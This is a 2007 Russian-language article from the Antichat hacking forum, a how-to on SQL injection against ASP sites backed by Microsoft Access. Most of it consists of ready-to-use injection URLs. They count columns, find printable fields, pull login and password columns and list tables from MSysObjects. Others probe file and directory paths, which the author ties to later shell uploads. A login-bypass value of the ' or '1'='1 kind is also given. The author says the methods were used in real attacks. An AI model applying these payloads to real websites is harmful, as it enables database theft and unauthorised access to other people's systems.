ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи > Авторские статьи
   
 
 
Опции темы Поиск в этой теме Опции просмотра

Проведение SQL инъекций в Microsoft Access
  #1  
Старый 05.10.2007, 14:50
Аватар для [53x]Shadow
[53x]Shadow
Leaders of Antichat
Регистрация: 25.01.2007
Сообщений: 341
Провел на форуме:
3372120

Репутация: 2565
По умолчанию Проведение SQL инъекций в Microsoft Access

Проведение SQL инъекций в Microsoft Access


[Введение]

В данной статье я хочу развеять миф и слухи о том, что проведение SQL инъекций в MSAccess не возможно.
Достаточно часто встречал вопросы, по этой теме, в том числе и на нашем форуме, но не видел вразумительных ответов =\
При этом ресурсы использующие MS Access достаточно распространены в сети.
Прежде чем начать, скажу, что методы приведенные в данной статье, неоднократно проверены и применялись при реальном проведении инъекций =)

[Особенности MS Access]

Вначале приведу некоторые свойства, которые необходимо учитывать при проведении инъекции в
MS Access. Сразу хочу оговориться, что в статье рассматривается проведение инъекций в
операторе SELECT. Хотя проведение инъекций в операторах INSERT, UPDATE и DELETE, так же
возможно.
В MS Access, так же как и в MySQL и в PostgreSQL, инъекция проводится путем использования
оператора UNION, т.е. с составлением объединенного запроса(далее по тексту подзапроса).

[B]Очень важным свойством является то, что все запросы SELECT должны производиться из какой-то
таблицы, т.е. синтаксис запроса всегда должен содержать слово FROM и имя таблицы.
Синтаксис SELECT:

Код:
select [Предикат] Поля from Таблицы [in БазаДанных]
[where ...] [group by ...] [having ...] [order by ...];
Необязательные аргументы заключены в [ ].

Немаловажным свойством является отсутствие оператора LIMIT, вместо него можно использовать
оператор TOP X START AT Y.

Так же очень важным свойством, является отсутствие символов комментариев, что делает
невозможным усечение основного запроса.

Нет возможности использования нескольких запросов с применением разделителя “;”, данный
символ означает окончание запроса, его подстановкой можно определить наличие каких-либо
конструкций за уязвимым параметром, но не их выполнение.

[Обнаружение MS Access]

Как правило однозначно идентифицировать MS Access можно при обнаружении двух ошибок
следующего содержания:

Код:
[Microsoft][ODBC Microsoft Access Driver]
Syntax error ....
или

Код:
Microsoft JET Database Engine error '80040e14'

Syntax error in string ....
В любом случае работаем с Access.

[Подбор столбцов]

Пусть ошибка присутствует в параметре id:

Код:
www.site.com/view.asp?id=1’
Определение количества столбцов присутствующих в основном запросе происходит так же, как и в MySQL. Так как оператор UNION требует одинакового количества столбцов, как в основном запросе, так и в подзапросе нам нужно количество этих столбцов определить.

Для подбора столбцов существует 2 известных способа. Но при этом необходимо учитывать особенность MS Access и подбор столбцов перебором с помощью union select осуществлять только в случае, если мы знаем точно имя какой-то таблицы в базе и имеем к ней доступ на чтение!

1. Простой перебор.

Допустим мы знаем о существовании таблицы users и имеем к ней доступ на чтение. Составим следующий запрос

Код:
www.site.com/view.asp?id=-1+union+select+1+from+users
Если появилась ошибка:

Код:
The number of columns in the two selected tables or queries of a union query do not match.
увеличиваем количество столбцов на один
Код:
www.site.com/view.asp?id=-1+union+select+1, 2+from+users
и так пока не исчезнет ошибка.

2. Использование оператора ORDER BY

Второй способ намного быстрее и приятнее, если количество столбцов достаточно большое.
И что самое главное позволяет определить количество столбцов, без знания имен таблиц в базе.

Составим следующий запрос

Код:
www.site.com/view.asp?id=-1+order+by+1
если ошибка с номером:

Код:
error '80020009'
значит столбцов 1 или более 1

Код:
www.site.com/view.asp?id=-1+order+by+99999
При таком запросе должна появиться ошибка:
Код:
Microsoft JET Database Engine error '80040e14'

The Microsoft Jet database engine does not recognize '99999' as a valid field name or expression.
что означает столбцов меньше 99999. Далее таким же образом уменьшаем границы выбранного интервала слева и справа и в конечном итоге определяем реальное количество столбцов в основном запросе.

[Определение принтабельных столбцов]

Для определения принтабильных столбцов, нам необходимо знать имя любой таблицы.
Если например столбцов основном запросе 4, то составим запрос:
Код:
www.site.com/view.asp?id=-1+union+select+1,2,3,4+from+users
И обнаружив соответствующую цифру на выведенной странице мы обнаружим номер принтабельного столбца.

[Получение информации]

После того как мы узнали количество столбцов и какие из них принтабельны, мы можем смело переходить к получению необходимой информации из базы. Хорошо если нам известны определенные таблицы в базе и столбцы в них, тогда получение информации не составит особого труда.
Например, если существует таблица USERS со столбцами ID,LOGIN и PASSWORD, то запрос на получение этих данных будет выглядеть следующим образом

Код:
www.site.com/view.asp?id=-1+union+select+1, login, password, 4+from+users+where+id=123

[Таблицы]

Если пользовательские таблицы нам неизвестны, то мы можем попробывать получить различную информацию из системных таблиц MS Access. Хотя доступ к ним по умолчанию запрещен, всякое бывает.
В Access существуют следующие системные таблицы:
Код:
MSysACEs
MSysCmdbars
MSysModules
MSysModules2
MSysObjects
MSysQueries
MSysRelationships
Наибольший интерес представляет таблица, MSysObjects которая содержит имена всех таблиц в базе. Вытаскиваем имена таблиц, кроме системных(системные имеют type=1):

Код:
www.site.com/view.asp?id=-1+union+select+1,name,3,4+from+MSysObjects+where+MSysObjects.Type=6
Для получения следующего имени таблицы воспользуемся оператором TOP:
Код:
www.site.com/view.asp?id=-1+union+select+top+1+start+at+2+1,name,3,4+from+MSysObjects+where+MSysObjects.Type=6
Таким образом, перебирая записи мы можем посмотреть по очереди все имена таблиц.

Если все таки, мы не имеем доступа к системным таблицам, что встречается чаще, то для выявления необходимых таблиц, остается только метод перебора с учетом вероятных названий различных переменных в html формах. Например, если есть форма аутентификации с логином и паролем, то скорее всего есть таблица с названием users, logins, etc...

[Раскрытие путей]

Хорошей особенностью обладают инъекции в MS Access, с их помощью можно определить существование и расположение необходимых директорий и файлов, например для заливки шелла через другие баги на сайте.

1. Раскрытие системной директории.
Составим запрос:
Код:
www.site.com/view.asp?id=-1+union+select+*+from+msysobjects+in+'.'
главная часть запроса '.', имя столбца и таблицы не важно.
в результате получим ошибку и в ней путь:
Код:
Microsoft JET Database Engine error '80004005'

The Microsoft Jet database engine cannot open the file 'c:\winnt\system32\'. It is already opened exclusively by another user, or you need permission to view its data.
2. Подтверждение существования файла.

Составим запрос:
Код:
www.site.com/view.asp?id=-1+union+select+*+from+msysobjects+in+'с:\boot.ini'
Если файл не существует, то получим ошибку:
Код:
Microsoft JET Database Engine error '80004005'

Could not find file 'C:\boot.ini'
Если существует, то ошибку:

Код:
Microsoft JET Database Engine error '80004005'

Unrecognized database format 'C:\boot.ini'
3. Подтверждение существования директории.

Составим запрос:
Код:
www.site.com/view.asp?id=-1+union+select+*+from+msysobjects+in+'с:\inetpub\sqlerr'
Если дира не существует, то получим ошибку:
Код:
Microsoft JET Database Engine error '80004005'

'с:\inetpub\sqlerr' is not a valid path.
Если существует, то ошибку:

Код:
Microsoft JET Database Engine error '80004005'

Could not find file 'с:\inetpub\sqlerr'
[Обход простой Авторизации]

Прежде необходимо отметить, что инъекции в POST-параметрах, так же возможны, проводятся аналогично GET-параметрам, ошибки выводятся, аналогичные если нет редиректа.
Инъекции в текстовых GET/POST параметрах, проводятся путем использования закрывающей и открывающей кавычек, например:

Код:
www.site.com/view.asp?name=as'+and+'1
Для более глубокого понимания обхода базовой авторизации рассмотрим простой скрипт:
Код:
        user = request("user")
        pass = request("pass")
        Set Conn =  Server.CreateObject("ADODB.Connection")
        Set Rs = Server.CreateObject("ADODB.Recordset")
        Conn.Open dsn
        SQL = "SELECT * FROM users where pass='"& pass &"' and user='"& user & "'"
        rs.open sql,conn
        if rs.eof and rs.bof then
                ' Access Denied
        else
                ' Access Allowed
        end if
Теперь видно каким образом происходит взаимодействие с базой из VBScript.
Для обхода такой авторизации, необходимо ввести в поля логин и пароль следующие значения:
Код:
user = ' or '1'='1
pass = test
[Копирайты]

При написании статьи использовались следующие материалы:
Описание системной таблицы MS Access - MSysObjects,Автор NSA http://hiprog.com/index.php?option=com_content&task=view&id=297&Item id=35
Оборотная сторона Microsoft Access, Автор Александр Запольскис http://adm.jinr.ru/doc/access/page18.htm
Access SQL Injection, Brett Moore
http://seclists.org/pen-test/2003/May/0074.html
Статья [cash], Проведение инъекций в MSSQL сервере от Microsoft, https://forum.antichat.ru/showthread.php?t=30501
MSDN + мои практические наработки =)

[ЗЫ]

Надеюсь на то, что статья заполнит пробел в серии античатовских статей по SQL-инъекциям =)
Конструктивная критика и дополнения приветствуются =)

Специально для Antichat, [53x]Shadow©

Последний раз редактировалось [53x]Shadow; 10.10.2007 в 20:34.. Причина: немного пояснений
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
3.61 гига книжек от майкрософт Talisman Болталка 0 27.03.2007 19:38
Обнаружение Sql инъекций в Oracle, часть первая k00p3r Чужие Статьи 1 12.07.2005 08:51
Обнаружение Sql инъекций в Oracle, часть вторая k00p3r Чужие Статьи 0 13.06.2005 11:26
Sql инъекция и Oracle, часть первая k00p3r Чужие Статьи 0 13.06.2005 11:23
SQL Injection в Oracle k00p3r Чужие Статьи 0 12.06.2005 12:41



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ